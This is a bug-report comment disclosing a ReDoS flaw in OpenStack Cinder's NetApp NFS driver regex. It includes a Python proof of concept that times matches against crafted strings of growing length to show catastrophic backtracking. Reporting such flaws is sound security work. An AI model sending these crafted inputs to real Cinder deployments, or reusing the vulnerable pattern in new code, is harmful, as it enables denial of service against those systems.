Comment 0 for bug 2047686

Revision history for this message
lujiefsi (lujiefsi) wrote :

see redos at https://github.com/openstack/cinder/blob/71c021c501489840f92e60ba6bcce5532b451dc8/cinder/volume/drivers/netapp/dataontap/nfs_base.py#L855C13-L855C29

poc
```
import re
import datetime

nfs_loc_pattern = \
                (r'^nfs://(([\w\-\.]+:{1}[\d]+|[\w\-\.]+)(/[^\/].*)'
                 r'*(/[^\/\\\\]+)$)')

def split(x):
  string="nfs://-/." + "/."*x +"/"
  starttime = datetime.datetime.now()
  matched = re.match(nfs_loc_pattern, string, flags=0)
  endtime = datetime.datetime.now()
  print ("string length = " + str(x) + " time cost=" + str((endtime - starttime).seconds) + " seconds")

split(3)
split(30)
split(300)
split(3000)
```